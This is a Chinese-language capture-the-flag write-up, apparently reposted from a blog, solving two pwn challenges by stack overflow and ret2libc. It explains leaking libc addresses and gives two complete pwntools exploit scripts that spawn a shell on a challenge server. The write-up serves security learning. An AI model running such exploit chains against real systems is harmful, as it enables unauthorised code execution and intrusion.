攻防世界 pwn100&&pwn200

pwn100

拖进ida分析,主要如下:
在这里插入图片描述
在这里插入图片描述
我的基本思路就是,利用栈溢出,通过puts函数,泄露read函数的地址,通过工具来得到相应的libc版本,返回main函数,进行第二次溢出然后进行攻击

第一次溢出:

由于程序为64位程序,而64位程序的前七个参数是放在寄存器中的,第一个参数是放在rdi寄存器中的,因此,我们要先找到相应的gadgets

在这里插入图片描述
我们要用的就是这个了
然后,把read的got地址传入,调用puts函数,返回main函数

第二次溢出:

得到read函数的地址后,通过相应的工具得到对应的libc版本,例如LibcSearcher。我这里没有用LibcSearcher,是输出地址之后去网站上找的:https://libc.blukat.me/
计算出基地址,system_addr和bin_sh_addr,进行第二次溢出

exp如下:

from pwn import *

sh=remote("124.126.19.106",40355)
elf=ELF('./pwn100')

put_addr=elf.plt['puts']
read_got=elf.got['read']
main_addr=0x4006b8
poprdi=0x400763

payload1='a'*0x48+p64(poprdi)+p64(read_got)+p64(put_addr)+p64(main_addr)+'a'*(200-0x48-32)
#此处实现的效果就是:
#push read_got
#pop rdi
#call puts
#call main
#最后一部分是因为
sh.send(payload1)
sh.recvuntil("bye~\n")
read_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(read_addr)

base=read_addr-0x0f7250
system_addr=base+0x045390
binsh_addr=base+0x18cd57
#read_offset=0x0f7250
#system_offset=0x045390
#bin_offset=0x18cd57

payload2='a'*0x48+p64(poprdi)+p64(binsh_addr)+p64(system_addr)+'a'*(200-0x48-24)
sh.sendline(payload2)
sh.interactive()

pwn200

拖进ida:
在这里插入图片描述
在这里插入图片描述
基本思路就是通过write函数泄露write函数的地址,再找到相应的libc版本,返回到main函数,进行第二次溢出

第一次溢出:

此处的write函数需要三个参数

因此,我们依次在payload加入write的plt地址,main的plt地址,write的第一个参数(1),第二个参数(write的got地址),write的第三个参数(输出的长度)

第二次溢出:

同上,找到相应的libc,计算出基地址,system地址和bin_sh地址,进行攻击

exp如下:

from pwn import *
#context.log_level='debug'
sh=remote("124.126.19.106",59657)
elf=ELF('./pwn200')

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x080484be

payload='a'*(0x6c+0x4)
payload+=p32(write_plt)
payload+=p32(main_addr)
payload+=p32(1)
payload+=p32(write_got)
payload+=p32(4)
#这里设为输出四个字节

sh.sendlineafter("\n",payload)
write_addr=u32(sh.recv(4))
#接收四个字节
print hex(write_addr)

#libc=LibcSearcher('write',write_addr)
base=write_addr-0x0d43c0
system_addr=base+0x03a940
bin_addr=base+0x15902b

payload='a'*(0x6c+0x4)
payload+=p32(system_addr)
payload+='a'*0x4
payload+=p32(bin_addr)
sh.sendline(payload)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/106186830